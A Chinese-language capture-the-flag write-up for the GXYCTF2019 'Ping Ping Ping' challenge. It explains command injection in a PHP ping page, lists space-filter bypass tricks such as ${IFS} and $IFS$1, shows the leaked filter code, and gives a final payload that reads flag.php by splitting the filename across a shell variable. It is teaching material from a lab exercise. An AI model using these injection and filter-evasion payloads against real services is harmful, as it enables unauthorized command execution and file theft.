首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[GXYCTF2019]Ping Ping Ping解题过程

[GXYCTF2019]Ping Ping Ping解题过程

作者头像
XPcode7
发布2025-10-23 12:25:52
发布2025-10-23 12:25:52
1490
举报

1、来看看靶场

发现就只有这个提示,尝试一下在url输入框进行测试

页面返回ping的结果,然后我之前也做过另外一道类似的题

链接:[ACTF2020 新生赛]Exec1命令注入_[actf2020 新生赛]exec 1_旺仔Sec的博客-CSDN博客

尝试用管道符

果然是可以的,再尝试一下访问flag.php

space应该是空格被过滤了,那我们来进行绕过空格

常用的空格过滤:

  1. ${IFS}替换
  2. IFS1替换
  3. ${IFS替换
  4. %20替换
  5. <和<>重定向符替换
  6. %09替换
代码语言:javascript
复制
${IFS}
$IFS$1 
<
<>
{cat,flag.php} 		//用逗号实现空格功能
%09		//需要php环境

但是好像还是没啥用

那我们访问之前第二个文件,index.php文件试试

代码语言:javascript
复制
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

这里大概是使用正则匹配对参数,例如{},<>,* ,?,空格,bash,flag等进行了过滤,才会有我们刚才看到的各种提示 这里观察到有个a变量,使用shell_exec命令进行了shell命令执行,然后将结果返回到a变量中,最后输出a shell_exec命令,这里的ping -c 4是发送4条请求 那么我们可以利用变量来进行覆盖绕过flag过滤

构造一下payload

代码语言:javascript
复制
/?ip=1;a=g;cat$IFS$1fla$a.php;

FLAG:“flag{a6e9d752-79bf-43e0-ab8f-f789fba639ae}”

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-10-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档